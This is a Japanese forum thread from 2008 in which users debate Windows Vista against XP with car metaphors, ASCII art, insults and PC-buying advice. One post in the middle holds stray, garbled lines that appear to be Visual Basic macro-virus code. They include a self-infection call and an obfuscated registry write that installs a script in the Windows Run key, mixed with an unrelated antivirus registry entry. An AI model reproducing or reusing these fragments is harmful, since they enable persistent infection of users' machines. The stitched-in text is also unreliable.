2000以降のOSでは vista は現状最低です。 XPを越えるメリットはありません。
302 :
名無し~3.EXE :2008/01/31(木) 11:44:18 ID:hxQdlRAM
つうか、仕事をすれ!。 作業するアプリケーションが安定して動けば、OSなんか、あんまり関係ないよ。 OSがどうのこうのいってる奴は、仕事ができない。 特徴として 用も無いのに、ブラウザが常に立ち上がってる。 緊急の用事も無いのにメールのチェックが、すごく頻繁。 ひとつの仕事に集中して作業していないので、やけに時間がかかる。 (能力ない人間なのに、割り込み入りまくりで、処理能力おそくなってる。) 必要以上に窓あけすぎ。 大して用も無いアプリが常駐してる。
303 :
名無し~3.EXE :2008/01/31(木) 11:53:13 ID:bsZIaBlg
OSなんて、どうのこうの言うのは素人だ! OSなんて、アプリが動いてくれればいい。 昔から、使ってるやつはアプリの対応でXPとか2000とかになるし、 今から、PC買うやつはVista。 OSは使いたいアプリが動けばいいんだ。 あれがいいとか、これがいい、悪いとか、小学生みたいな事を言うな。 仕事をしてないから、そういうつまらん事にこだわるんだ。 ニート軍団どもめが! このスレを立てたやつは、相当頭が悪い! さてと、飯を食って、仕事再開するか。
きょうラジオの人生相談してなかった? 収入月に4万。 教員希望40歳。 PCスキル無く使えない。 理工に弱く社会科の教員免許あるものの採用一次試験で落ちる。 落ちるので試験にも応募しない。 この先親が死ぬと生計が立たないのでどうしたらいいですか?って内容の相談者じゃない?
>303 その使いたいアプリが動かないって奴が愚痴ってるんだろうに。
306 :
名無し~3.EXE :2008/02/01(金) 00:30:42 ID:WLDmNr8P
XP=アムロが乗ったガンダム Vista=マ・クベが乗ったギャン 小細工しながらそこそこ戦えてはいるけど、どうみても勝ち目がない
XPがアムロが乗ったガンダムなら Vistaはアストナージしか乗れないサイコガンダム
〃〃∩ _, ,_ ⊂⌒( `Д´) < ヤダヤダ! `ヽ_つ ⊂ノ ジタバタ 〃〃∩ _, ,_ ⊂⌒( `Д´) < Vistaなんかじゃヤダ! `ヽ_つ__つ ジタバタ _, ,_ (`Д´ ∩ < XPがいい ⊂ ( ヽ∩ つ ジタバタ 〃〃 〃〃∩ _, ,_ ⊂⌒( つД´) < ヤダヤダ `ヽ_ ノ ⊂ノ ジタバタ ∩ ⊂⌒( _, ,_) < 本当はPC買うお金が無いの… `ヽ_つ ⊂ノ ヒック...ヒック... ∩ ⊂⌒( _, ,_) `ヽ_つ ⊂ノ zzz…
〆⌒  ̄ ̄ ̄ \__r 、 \ ,.イ ,イ \ヽ,\rv-, アイヤー、おまちあるね > ヾイ /{ { ヽ、ト、 \Y <ノノ\ { .ト{\ヽ', メ __\ } ⌒ヽ }へ ゝ |"ひ) \ イびゞ \ ヽ- 、ノ // >= ノ ト、"´,. ー ノ ///\/ / \ /. { ゝ / レ// } Y´ \ { ヽ ヽ⌒> / レ´TTア⌒>、_ \ V{ \ └ ´ / ,.イ/ /ll | /≦__ } V{ >ー┬|/ ! ,.イノ || | /  ̄ ̄ ̄ / リヽイ| /:| l _|' '´ || | | _/ ____...................____ /{{ | |===| || | __/ ,, -ー" _,,.. _,,._ ,,.._ ,,.._ _,,.. ゙ ヽ、 . /し|| | |== / // | /,.イ / /,,r"i/ ,r"i/,,r"i/,,r"i/,,r"i 、 ヽ / ヽヽ l==| / / l / ./ /#; / /#.; / /#; / ,/#; / ,/#; / .," i . イ\ \=| /// 〃 i i. /#; / ,/#; ./ /#; / ,/#; / ,/#; / .,' / / / ミ ヾ| // ト ヘ. |〃/ ,|〃/ ,|〃/ .,|〃/ , |〃/ .,"..;;/ / / \>∠、 /\ ヽ ヽゝ' `ヽゝ~ ヽゝ' ~ヽゝ' ~ヽゝ' " / / <〆ハ ゝ _/ \
,. - ── ── r'つ)∠─── \ 〆⌒  ̄ ̄ ̄ \__ ヽ ,.イ ,イ \ヽ, } ヾイ /{ { ヽ、ト、 \ ノ { .ト{\ヽ', メ __\ } / ゝ |"ひ) \ イびゞ \ ヽ- 、 <さあ食べなさい! ノ ト、"´,. ー ノ ///\ /. { ゝ / レ// } ( ( ) ( ) ) { ヽ ヽ⌒> / レ´TT ( ) ( ) ( ノ V{ \ └ ´ / ,.イ/ / ____...................____ ,-、 f^ヽ >ー┬|/ ! ,.イノ ,, -ー" _,,.. _,,._ ,,.._ ,,.._ _,,.. ゙ ヽ、 { ヽ:::;ム マミ、: : \ ム: : :∨ / /,,r"i/ ,r"i/,,r"i/,,r"i/,,r"i 、 ヽ \ ヽ,ム ∨ヘ : : \ /: /ヘ: : :ヘ / ./ /#; / /#.; / /#; / ,/#; / ,/#; / .," i | ,.- 、 \ ヽ〉 ヽ \: : :\://ヘ: : :| i i. /#; / ,/#; ./ /#; / ,/#; / ,/#; / .,' / / ヽ、 \ | 〉 \ lヽ./^)、 : : |: : ! ヘ. |〃/ ,|〃/ ,|〃/ .,|〃/ , |〃/ .,"..;;/ / 丶、`¨ / ァ'´ /: : ヽr:| : ハ ヽ ヽゝ' `ヽゝ~ ヽゝ' ~ヽゝ' ~ヽゝ' " / `) l ,.イ、ヾニ二7イ |.ィ ゙ ー-- 、、... _ ____ ,,,,, .... --―" ⊂二´.. _ __/ / ` ー-、_|/、__jニフ ヾー--='彡- ' /´:j:_}::::/一` `ーr'´ ,f-':j´:||`′ /ヾ二トr‐_Tj-トイ : l:!┐
311 :
名無し~3.EXE :2008/02/01(金) 08:55:13 ID:WZWdxjmC
MacOS XとVistaってどっちがいいんですか?
312 :
名無し~3.EXE :2008/02/01(金) 09:00:45 ID:p70oJtIa
どっちもいいから使ってみろ
314 :
名無し~3.EXE :2008/02/02(土) 10:16:27 ID:VhmsYkrm
Vista糞とか言ったりするやついるけど結構普通だよ まぁゲームとか色々こだわってない俺だから言えるのかも知れんが
Vista使いづらいわまじで。2000→Xpのときの比じゃない。 慣れで解決可能なレベルではないと思う。 正直、マックのOs9.2→OSXのときよりも抵抗がある。
vistaは足枷を秤にかけるとメリットがなさ過ぎる。 だから企業群は採用しないし当然役所も採用しないし、 2000やXPユーザーの大半も選択しない。 意味がなさ過ぎるからな。
比べるなら2000→XPじゃなくて9x→NT系じゃね? それくらい変わったのだから。
Win3.1の事もたまには思い出して上げて下さい
確かに3.1→95の状況には近いのかも知れん。 XPや2kはともかく、95じゃ流石に相手が悪すぎるな。 それはVista使いの俺も降参だわw
>>316 あらゆる面でVistaのUIの方が使いやすいがw
なにが不満なんだか
322 :
名無し~3.EXE :2008/02/05(火) 18:45:17 ID:cQauD5AK
XPは使っててなんの不満ももたないがVistaは使いづらく不満だらけ
vista的なスキンやらガジェットやらはXPにフリーソフト追加で簡単に実現できる。 試したが煩わしいから即座にクラシックに戻した。 あんな機能は犬やイルカと同じで目障りなだけだ。 フリーのファイル検索用データベースは面倒くさいからまだインストして試してない。 現時点ではどうでもいいと思っている。 必要なら入れるし。 ファイラーなんかは普通にまめFile使っているし、AutoHotKeyも使ってる。 つまり、無問題だ。 不足はない。 vistaにはXPに代わる魅力的な部分(必要性)をまったく見い出せないのが予想通りというか痛すぎるな。 この意味で言えばMEと同じ印象だ。 機能の宣伝は派手だが実益が無いどころか逆に足枷が多すぎて・・・
見た目なんてXP以前はクラシックでいい Vistaはそれ以外の改善点が大きい
>>324 Aeroだけでも、もうXPに戻れないけどね・・・
ウインドウはスムーズ・ヌルヌル、バックグランドのウィンドウ表示が
固まることもないしね。
Win3.0以来続いてきたGDIアクセラレーションを切っただけはある。
あと、メモリ管理・キャシュ周りが改良されてることかな。
>>326 能書きは別にして、
使ってみての実際の益を感じられない。 俺にとってはデメリットのほうが大きすぎる。
バックグランドのウィンドウが固まる云々などは最後の最後でいい。 極論するならどうでもいいことだ。
>>327 というか、Vistaに標準のアプリとかツールは同じようなもんがXPでも動くってことですよね。
VistaとXP差って、Aeroとかのウィンドウマネージャとかカーネルのメモリ管理とか
OSの基幹部分でしょ?
なんだろうな、
>>326 の言動はたとえて言うと
「今、乗用車に(満足して)乗っている人に向かって
スポーツカーの利点を必死に説明している人」のように感じる。
ガソリンは馬鹿喰いするようになったけど、その代わり
ドアを閉める音がいいとか
ハンドルの手触りがいいとか
見た目が派手になったとか
アピールしているような印象を受けるんだわ。
>>329 いや、今回のフルモデルチェンジで
エンジンからサスペンション、駆動系まで一新。
一番大事な乗り心地が段違いですよってことで・・・
肝心なところでエンストしなくなったのは素直に評価されるべきだろう
98からXPに変えて評価できたのは、 エンストしにくくなった点が大きかったな。確かに。
XP→Vistaでは車重が重くなったがポン付けターボが使えるようになって馬力が上がった感じ。 ただし、イン・アウトパイプがタービンに繋がってなければ使えない(高性能GPUが無い)ので重くなっただけと。 とスポーツカー好きな俺が言ってみる。
Vista慣れた後でXP触るとエアコンとカーステが無い気がする。 無くても確かに何とかなるけどさぁ…って感じ。
PC初心者の人だとそうかも知れないね。 XPはフリーソフトで自由に好みの仕様にしていくのが基本だから、ある程度スキルがつくまでは素っ気なく感じるだろうな。 ある程度のスキルが身につくとなぜvistaが売れないかという理由もわかるようになるのだけど。
確かに 俺なんか間違ってシンプルイズベストの境地に辿り着いてしまいなんだか不便な気がw
XP 容姿は普通だが基本的に何でもそつなくこなす娘 Vista 容姿が良くて親切だがちょっと抜けてる娘 男ならどっちを選ぶかは明白だろう
俺も。 XPを使ってはいるが、機能的には98SEから変化がないな。 容姿がダメでも不親切でも、 最低限の期待を裏切らないのが理想やね。
外見で判断しちゃだめだぞ。 VistaはOSの基幹部分のカーネルとかウィンドウマネージャが次世代ってことですね。
>>339 だから、vista萌えな人がでてくるんですね(笑)
>>342 OSが擬人化される文化はXP時代が最盛期です…
XPも始めは重いし2kと違うのは見た目だけとかって不評だったもんな
>345 俺のイメージでは もう少し幼くて、ちょっと背伸びなおしゃれ好きで かつガードが固いなあ。
何このエロゲw
348 :
名無し~3.EXE :2008/02/10(日) 08:52:53 ID:gE7tdaqe
ビスタ使ってない奴は書き込むな
アンチVistaの特徴 ・ニート、無職、貧乏学生、割れ厨、低所得世帯 ・金が無くて新しいPCパーツやVista搭載PCを買えない ・スキルが低すぎてVistaについていけない ・自分が理解できない物は全て糞 ・嫉妬や妬みでVistaスレを荒らす(興味が無いならするはずがない) ・精神的に未成熟でガキと一緒 ・親の教育が悪いせいで、社会性が全く無いから荒らし行為をする ・現実の世界では孤独 ・自己中で全て自分が正しいと思い込んでる
350 :
名無し~3.EXE :2008/02/10(日) 09:46:44 ID:cGEsB73+
自己中で全て自分が正しいと思い込んでる.だけ349にあてはまる項目
352 :
名無し~3.EXE :2008/02/10(日) 11:17:19 ID:Rk+Fwlo3
>>329 むしろ、XPがスポーツカー。
Vistaは軽自動車。
今のPCのスペック(スポーツカー)の助手席に気の利く美女(体重48k)を乗せて走ってるのがVista そのスポーツカーにヲタが一人で乗って軽い軽いとのたまってるのがXP厨 まぁ、理屈は合ってんだけどさ・・・ エンコとか3Dゲーム(一分一秒を争うレース)なら後者の方が速いだろうからね
XPは7年落ちの旧モデル。 Vistaは安全ボディー、エアバックその他で重量は増したけど エンジン、サスペンション、ミッションすべて次世代型 乗り心地と安全性は増した新モデル。
355 :
名無し~3.EXE :2008/02/10(日) 11:43:00 ID:Rk+Fwlo3
>>353 やたらとおせっかいなデブス4人を詰め込んだワゴンがVistaだよ。
無駄に動き回るからやたらと空気が重苦しい。
おまけにおせっかいなくせに役に立たない。
お前ら、車から降りろと言っているのがXPユーザー
356 :
名無し~3.EXE :2008/02/10(日) 11:50:24 ID:Rk+Fwlo3
>>349 >・金が無くて新しいPCパーツやVista搭載PCを買えない
最近、XPへのダウングレードが流行っているのだが、知っているか?
358 :
名無し~3.EXE :2008/02/10(日) 12:01:35 ID:Rk+Fwlo3
>>357 あれのどこが、48kなんだよw
4.8tの間違いじゃないか?
359 :
名無し~3.EXE :2008/02/10(日) 12:03:56 ID:Rk+Fwlo3
だいたいね、重い、ソフトが動かない時点でOSとして失格。 おまけに、何も便利になっていない。 PCはアプリケーションを動かすことが目的であって、 OSを動かすことが目的ではない。
XPユーザーは金がなくてVistaに乗り換えないとか言ってる奴正気か?
ここにいるような奴は、タダでもVistaなんていれないだろ
>>353-357 恐らくPCの用途、環境が違うからどちらに感じるかは、決定できんと思われ
俺は、どっちかっていうと>355の意見に近いが、Vistaが便利だと思うこともある
つか、>337の認識に近い
Vistaでスペックが無いと出だしが遅いのは本当だが、走ってるうちにどんどん軽くなるのは実感できるぞ メモリ使用率30%だったのが寝て起きたら16%になってた
くだらんな
>>356 しらねぇよ そんなめんどくせーの ヲタだけだろ?
364 :
名無し~3.EXE :2008/02/10(日) 14:51:08 ID:3wnS6KzV
XPとヴィスタの違いを教えてください それぞれのメリット、デメリットとか
vista厨の特徴 ・ミーハー、情報弱者 ・XPを使うやつはすべて貧乏だと思っている ・スキルが低すぎてXPの最適化についていけない(vistaは何も設定しないのが 一番最適) ・自分が理解できない物は全て糞 ・嫉妬や妬みでXPスレを荒らす(興味が無いならするはずがない) ・精神的に未成熟でガキと一緒 ・親の教育が悪いせいで、社会性が全く無いから荒らし行為をする ・現実の世界では孤独 ・自己中で全て自分が正しいと思い込んでる ・快適じゃないものはすべてスペックのせいにする
Vista x86なんて情報弱者のためのOSだろう常考 Vistaを使うならx64一択
>>366 まあ確かにそうだな。
妬みに脳内を支配されているのだろう。
何故か?
後先考えずに新しいOSの釣り文句に釣られて手に入れたからだろう。
周囲に使ってる奴はいないのは当たり前であるし、vistaを使ってることを自慢したら逆に馬鹿にされた。
ごうを煮やして重箱の隅を比較して屁理屈でもってvistaを激しう擁護するものの、誰も聞く耳持たず。
売れないのは売れないだけの理由があり、
使えないのは使えないだけの理由がある。
実際の運用において無意味な部分を誇大に持ち上げたところで意味無しは意味無しなのだ。
XPは管理者権限常用
6年使ったXpからVistaへ移行したぜ。 まあ、今後2年持ってくれれば十分か、別に重くもないし。
重くはないんだよな 十分スペックあれば ただ、それにXPをいれると…って思っちゃう
>>370 PowerUser権限にすれば良かろうもん。
374 :
名無し~3.EXE :2008/02/11(月) 08:29:34 ID:K+SSBGO3
どっちも糞味噌でおんなじだろ 2000カーネルから大して変わらなくてGUIを派手にしただけでしょ 先日新機種購入したが無難な xpにしておいたよ /dev/sda1 で眠っているだけど vistaはあまりにもユーザを馬鹿にしたGUIなんでパス UCAの実装がvistaまでされてないのはちょっとびっくり こんなのOSの基本的な機能だろうに今頃かよ だから糞OSなんだよ
数ヶ月以内にPC買う予定だけどXPにするつもりだよ 現状でVistaにする理由が特にないし。 おそらくVistaは一度も使わず次のOSに乗り換えると思う
376 :
名無し~3.EXE :2008/02/11(月) 10:40:33 ID:Ly4d2QbF
会社で情報管理しているが、これからVISTAの習得や検証作業を考えると鬱になる。 XPは、ホントに出荷停止するのかなぁ。6月頃マデだっけ?
377 :
名無し~3.EXE :2008/02/11(月) 11:22:25 ID:K+SSBGO3
>>377 現状でXPをかえるとなると
DELL,マウス,ドスパラ,エプソン,acer
あと一部国産メーカーの特殊あたりじゃない?
vista持ってる俺からするとまだXPでいい。 vistaつかっててもブルースクリーンでることあるし OSのバグやら解消されてくる登場後2〜3年後くらいで移行を考えた方がいい。
380 :
名無し~3.EXE :2008/02/11(月) 16:37:32 ID:RwX1HpAj
vistaのウィンドウのデザインとガラスウィンドウだけが欲しい自分は。
381 :
名無し~3.EXE :2008/02/11(月) 16:44:15 ID:1yF2iOsk
382 :
2008年9月13日にアジアで大津波 :2008/02/11(月) 16:50:05 ID:msGzZTmQ
>>376 おそらく復活すると思う。
企業が納得しない。 停止を強行するなら追加PCにはLinuxを採用するだろう。
技術系でない定型業務だけならLinuxで充分だからな。
vistaにするのはスキルの無い小会社だけだろう。
しかし、小会社はセキュなどは何のそので古いOS使い続けるし、昨今リストラで人も増やせない状況がある。
MSは強行策で乗り切れると考えているかも知れないが時代は変わったから思うようにはいかん。
同時に、vistaは諦めているからこそwin7を急いでいるのだろう。
と思う。
問題は、win7がユーザーが納得できるメリットを提供できるかどうかだが、vistaの肩すかしを考えるとこれはわからんな。
>>384 おそらく6月にパッケがやたら売れそうな気がする
>>384 一応、DSPとかは6月過ぎてもかえた気がする
388 :
名無し~3.EXE :2008/02/12(火) 17:44:49 ID:NAslSFDG
VISTAの方が眼にやさしいですかね。
>>388 ディスプレイの問題でOSが目に優しいとか意味がわからん
>>379 Vistaでブルースクリーンなんか出たことねーぞw
ドライバが原因でしょ こっちも初期時入れたドライバが古くて青画面なった事はある F8項目の再起動無視で行けば何が原因か大体分かる それ以外で青画面は一切ないですな
つうかvistaってレッドスクリーンじゃなかったか?
いっそのこと青と赤で立体にすればいいのに
古いドライバは危険だよねVistaの場合
>>392 それベータ版の話
396 :
名無し~3.EXE :2008/02/15(金) 08:20:47 ID:eNfqgJAB
俺のは次原かなを壁紙にしているので、目にやさしい。
>>27 もう1年以上たっているけど今の状況は変わりませんか?
2k持っているけど、そろそろ換えようか検討中。
XPからはない。 2kからだと様子見か? もし買うなら2k機を残して新規PC。 9xからなら、俺はVista32bitに買い換えた。
399 :
名無し~3.EXE :2008/02/17(日) 21:25:32 ID:VMDlLjcP
XPで外枠にヒビが入ってきたので量販店に行ったら ほとんどがVistaだったので仕方なくVistaを買った。 XPの方が扱いやすくてしばらくはヒビが入ったXPを 使っていたが、最近はVistaになった。 慣れればなんでも一緒だという気がする。
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) "avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash" G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
XPの外枠ってなんだろうと考えてしまった。 XP搭載機のことか。
403 :
名無し~3.EXE :2008/02/18(月) 13:36:26 ID:wNP8fhfi
SP3のことでは?
405 :
名無し~3.EXE :2008/02/18(月) 20:47:48 ID:dzMQahIN
vistaやリッチコンテンツ化によるパソコンの高性能化は本当に必要なんでしょうか? Full HD、5.1ch デジタル一眼レフ vista使う人はこういうのも好きだと思います。 昨今の状況には首を傾げたくなります。 一般家庭でメモリを数GByte必要になったのはなぜでしょうか? 貴方の実際に作り上げたデータファイルの大きさがそれほど大きくなっているのですか? 普遍的なテキストファイルはたかだか数KByteのオーダです。 白黒でも良い映画はあるし、モノラルでも良い演奏はある、 写真の本質は構図やタイミングなどにあるのでは? ハードウェアだけでは豊と言えないと思います。 本質的には人間の行動その物とそれを支えるソフトウェアが必要です。 確かにこれらハードウェア普及し低価格化していくことは発展と考えてよいでしょう しかし私はこれらの渦に巻き込まれたくない気がします 皆様のお考えはどうでしょうか? ちなみに最近買ったノートはマルチコアのXP
Vistaに慣れたら「XPイラネ」になった なんせXPは細かい部分の見た目やアニメーションがボロすぎ と言いつつWindows7待ち・・・
>>404 当時流れたニュース的には
・SP3 はそのニュースが流れるはるか前から出るのが決まっていた
・UMPC 向けに XP ベースの軽量 Windows を作るという話は出たが一般 PC 向けじゃない
ということで、該当する「XP の新バージョン」はなかったはず
>>405 > 写真の本質は構図やタイミングなどにあるのでは?
とはいえ、320x240 の二値モノクロ画像じゃ
構図やタイミングを活かす画質が得られない
ソフトウェアが豊かであっても、それを支えるハードが豊かにならないと
ソフトウェアの能力を有効に活かす事ができない
あと、ふつうにテキスト書いてても 100KB 単位とか普通にいくw
>>405 携帯にすら2GBのmicroSD入ってるけどねw
>>405 発展とはな。
ハードウェアはスペックがあがっていくことであり、
ソフトウェアは重くなっていくことなんだよ。
なぜなら究極的な目的は
人間がやっている仕事を
ソフトウェアにさせることなんだから。
411 :
名無し~3.EXE :2008/02/18(月) 23:10:06 ID:dzMQahIN
>>410 人間はやっぱり不要の存在ですか…vistaと共に滅びゆくのか…
>>407 普通にSP3のことだろうな。
韓国の人はどうもその辺勘違いしがちだ
Vistaの売れ行きが悪いと言ってもなんだかんだで今年の3月だか6月でXPは出荷停止だし
メーカーPCは全部Vistaにシフトしていくだろう
ついでにXPからVistaに完全移行した
親がVistaノート買ったので教えるために買ったんだが悪くないね。
文字も読みやすいし、比較的レスポンスも早い
古い環境からの乗り換えだと不満もチラホラでるだろうけど、新しいハードウェア構成に
Vistaをあわせるのはアリだと思った。
6年も経つとOSも進化するものだな、タスクバーの色も変えられればもっとよかったが
しかし大容量メモリを生かすのにx64をしかたなく入れると CPU依存の3Dゲームなどはパフォーマンスががた落ち 32bitのVistaでも、従来の3Dゲーは若干パフォーマンスが悪く、、 Vistaの使い勝手そのものはいいし見かけも好きなんだがなぁ んで試しにWin2003 Server EEを入れてみると PAEに対応していて、32bitOSなのに64GBまでメモリが使える 、、、というかVistaもUltimateとかいうんだったらPAEに対応して ほかのVistaやXPと差別化したらよかったんじゃないか デバイスドライバの互換性が微妙になるが、、、
>>413 PAE を使うとパフォーマンスがガタ落ちな件
MSも下手にPAEなんかに対応してまで 32BitOSを延命したくないでしょう。 さっさと64Bitに移行したいんだから・・・
確かに最良は、64bitOSで64bit対応ソフトを動かすことだしね PAEで64GBまで使えても走るソフトそれぞれは32bit(どころか2GB?)までしか扱えないわけだから けどメモリがこんなに安くなって64bitOSが安価でも 肝心のソフトは大半が32bitだものなぁ、、 本音は目くじら立てて低下が気になる、対応してないっていうのはゲームくらいなんだけどね fpsはすごい落ちるし、インストール自体できないものも多い それでも64bitのIEではFlashPlayerの64bit版がないからこれはちょっと、、と思ったりしたけど よっぽどのソフトが出ないと64bitはまだまだかなぁという感
16bitから32bitへの移行時期に立ち会ってないので どんな移行圧力があったのかを知りたいと思うところ。 ちょっと調べてみようかな。
419 :
名無し~3.EXE :2008/02/19(火) 17:28:30 ID:qKLk6vK6
VISTAは 車のTOYOTA VISTAっていうのが 日本にはあって それが浸透してたからか 最初、商品名から 受ける新鮮感。というのが あんまり無かった。 これが OS VISTAの第一印象。 なぜか?いまだに 「XPとVISTA どっちがいいの?」 という疑問を抱いている人がたくさんいる。実際 どうなんだろう? 私の様に パソコンをあまり知らない人でもね。w
>>418 意向の圧力などはありませんでしたな。
メリットがあったから皆さん乗り換えた。
当時は良い意味で程々にバランスがとれていた。
白人毛唐の強欲傲慢やりたい放題の現状とそれになびく雇われの工作員の出没は異常であると思う。
それが見えていない奴が少なからずいるのが日本の将来にとって致命的でもあると感じる。
今新PCを買おうとしてるが最後のOS選択で迷ってる。ご意見を頂戴したい。 選択できるOSはXPHomeSP2、XPProSP2、Vista全種(Uitimate含む)32bit スペックは ■IntelR Core? 2 Duo E8400 (デュアルコア/3GHz/L2キャッシュ6MB) ■IntelR P35 Express チップセット ATXマザーボード ■2GB メモリ (DDR2 SDRAM 800MHz / デュアルチャンネル) ■500GB ハードディスク (7200rpm / シリアルATA II) ■DVDスーパーマルチドライブ(DVD±R×18/ DVD-RAM×12/ DVD2層書込み対応) ■NVIDIARGeForceR 8800GTS (512MB / PCI Express)(gefo厨じゃなくHD3870X2無かった) ゲームに特化したものを希望しています。(FPS、3D系列)長くて申し訳ない。 どうか教えてエロイ人
DirectX10がいるよという場合は迷わずVistaだが DirectX9まででいいよ なら迷わずXPで(Home Proどちらでも可) たとえばfpsゲームなら音が重要で、SB X-FiやAudigyなどを挿してやりたいところ しかしSBというかゲーム全体で有効なAPIのEAXはXP以前でないと有効にならないし Vistaではカードそのものの動作もまだ怪しい 3DパフォーマンスでもXPのほうがまだ若干上なので、ゲームがDirectX9までならXP
DirectX10に得化したゲームは難しいだろうねぇ・・・ vistaのユーザーには殆ど売れないだろうから。 そうでなくてもvistaのシェアは低すぎるし。 反応を伺う試作程度のものは出てくるかも知れないが期待はできないな。
>>421 そんなスムーズじゃなかったよ
後から乗り換えた口か?
>>422 好きな方かえ
その環境下ならvistaだろうがxpだろうがネトゲしてるときそんなに言うほど
差が出るわけではない。実際にデュアルブートしてxpとvistaつかってるが
俺のPCスペック
Core 2 Duo E6300
メモリ 2GB
HDD 320G
Nvidia Geforce 7900GS
の、俺のPCでは騒ぐほどの差はでなかった。
確かにXPの方がレスポンスとかは早いけど、だからといって、vistaだと全く使えないってことはない
Word2007で起動実験してみたけど
XPで初回起動10程度 vistaで15秒程度
俺は五秒ぐらいの差ならなんとも思わない人間だから
普段はvistaメインで使ってて 昔買ったFF8 windows版やるときだけ
XP使ってる。(vistaだと起動できない)
用途によって使い分けるのが一番いい。
あと、DirectX10に対応しているゲームってあるのかしらないが
たぶん上記に書かれてる環境下でもスペック不足なきがする。
レス感謝。
>>423 なるほど。今はほとんどがDX9だからXPが有力説ですね
3D描写でもXPが上となると・・・
>>426 詳細までありがとう。DX10に対応しているのはLostPlanet〜extreme condition〜
が例として挙げられますね。
しかし、先にも記しましたがDX10に対応しているゲームはほとんどないですね・・・
なるほど、DX10に対応したVistaを選んでも今買うPCスペックがそのゲームに
足りないとなると、本末転倒か・・・
ご意見感謝。参考にさせて頂きます。
ゲーム単発とか基本的に他の作業しないのであればXPですな 多重にアプリ起動して作業するような人だとVistaかのぅ
>>416 一度に参照するデータは PAE を使おうが結局 4GB 以内なので
例えば 16GB 操作するのに何回メモリページを差し替えて操作する必要があるか
結局動かしてるアプリが PAE 使ってなければ現実的に低下する事はないよ
あと、NXbit が性能低下にならない訳がないだろw
それでも安全性を取って NXbit を有効にしてるだけ
>>425 めちゃくちゃスムーズとは言わないけど
16bit の時はリソース制約が厳しく
32bit 化による恩恵が大きかったため
開発側の状況に多少左右されつつも (32bit への慣れとか)
それなりにスムーズに移行したよ
9x 対応であって NT 対応じゃないとか
9x には 16bit コードが多量に含まれてるとかあったがナー
自分が使うんなら別にXPでも良いけど新しくPC買う人にはvista進めたほうが良いのでは? xpのサポートが延期されたといっても、延長サポートが伸びただけでしょ? メインストリームサポートがどの道2009年に切れてしまうxpを十数万だして新しくPcを 買う人にお勧めすることは俺にはできないんだが。 その辺はみんなどう思う?
>>431 XPを勧める。
vistaは親しい人には勧められない。
何故なら、メリットを感じられないだけでなくデメリットが大きすぎると思うからだ。
現実的にvistaの仕様が主流になるとは考えられず、
MSがユーザーの意向に逆行した強攻策を取らない以上はXPはvistaよりも長生きする可能性があること。
予定は未定ではあるが次期win7の存在があること。
大部分の企業がvistaを採用せずに見送りを決めていること。
2000やXPユーザーの大半(つまりwinユーザーの大半)がvistaは駄目と判断してスルーしている現実があること。
>>431 Vistaのプレインストールマシンを購入して、XPへのダウングレード権を使う事を薦める。
XPプレインストール機だとVistaに上げるのに余計な費用が必要になるが、この方法なら
必要があればいつでもVistaに戻せるから。
量販店の低スペックボッタPCなら32bitXP BTO・DELL等のミドルエンドなら64bitVista ってのが普通じゃね
>>432 勘違いだから無難にVistaにしておいた方がいいよ。
そもそも、XP選べるモデルなんてマイナーだしw
>現実的にvistaの仕様が主流になるとは考えられず、
>MSがユーザーの意向に逆行した強攻策を取らない以上はXPはvistaよりも長生きする可能性があること。
Vistaの仕様が標準だし、XPのOEMは今年の6月で終了
メインストリームサポートも来年4月で終了の末期状態
Vista未対応のソフトやハードをどうしても使いたいって
理由でもなければXPを選ぶ理由はない
一番いいのはXPとVISTA両方使いまわしてるやつが勝ち組だよな
家にXP32bitが3台ある状況でVista64bitを追加 あまり多くてもあれなので、XPを1台引退させた。 まあVistaじゃダメでXP使うケースはたまにある
>>435 vistaの仕様は標準ではないのだが。
vistaでも動作するようにハードやソフトメーカーが配慮しているだけのことだが。
完成版でも意味無しだが、それにまして未完成状態のvistaを標準に据えるようなメーカーなどは存在しない。
それが現実だ。
現実世界はMSの都合で回っているわけではない。
>>438 現実世界は MS の都合だけでは回ってはいない
しかし、MS の次期製品は MS の都合で回ってるし
「MS が展開するプラットフォーム上」の世界は
MS の都合で回ってるんだが
ベンチしか無いのかお前ら…。 一般用途で困るのは互換性のほうだと思うんだが。
>>431 同意。メイン期間が残り1年のOSを勧めるってのは、どうもね。
別に延長サポートでも使えないわけでは無いし、私自身も当然使い続けるけど。
>>431 氏の方法でXPを使って言うのなら有りかな。
>>442 所謂サポートが、サポートに値する内容ならともかく、vistaの場合はあからさまな部分のバグ取りだけで終了する可能性がある。
ならば、穴がほぼ埋まって安定したXPのほうが遙かにマシだ。
したがって、サポートにこだわるのはあまり意味がない気がするが。
個人ならば尚更だろう。
スペックさえ足りてりゃ一長一短あるし好きな方選ばせたらいいだろ
>>443 NT4、2000、XP も、SP1 の頃はそんなもんだ
特にメジャーバージョンアップである NT4、2000 とか
SP1 なんて論外で(ry
あと、メインストリームサポート提供期間は別の視点もあって
その間に出る他の MS 製品とかは必ず対応されるし
延長サポートの場合、その間に出た製品は対応されない可能性がある
例えば、Office 2007 は、延長サポート中である
Windows 2000 があっさり切られている
同様の事が来年 Office の新製品が出たりした場合に
それが入れられない、なんて話になりかねない
そんな話の責任は取れないので
「他人に勧めるなら」Vista にするな
最新版のOfficeのファイルでやり取りする業種の人は大変ですね。
まあ、使いものにならんという烙印を押されてるからな。w
448 :
名無し~3.EXE :2008/02/24(日) 14:38:16 ID:BSJrXbxA
ワードつきのVISTAを買うか ワードなしのVISTA買ってXPのワード入れるか 迷っています。 VISTAのワードって使いにくいんですか?
Vistaが使いにくいんじゃボケ!
マルチ乙 店頭で聞けそんなもん
知らん人間が店員に聞いてもvista買わされるだけだぞ。 店長呼んでボロクソにののしるなどができるタイプの人間なら店員も懇切丁寧にvistaの問題点やら、 XP云々やらを説明してくれるだろう。 で、お客さんはどちらにしますか? とな。
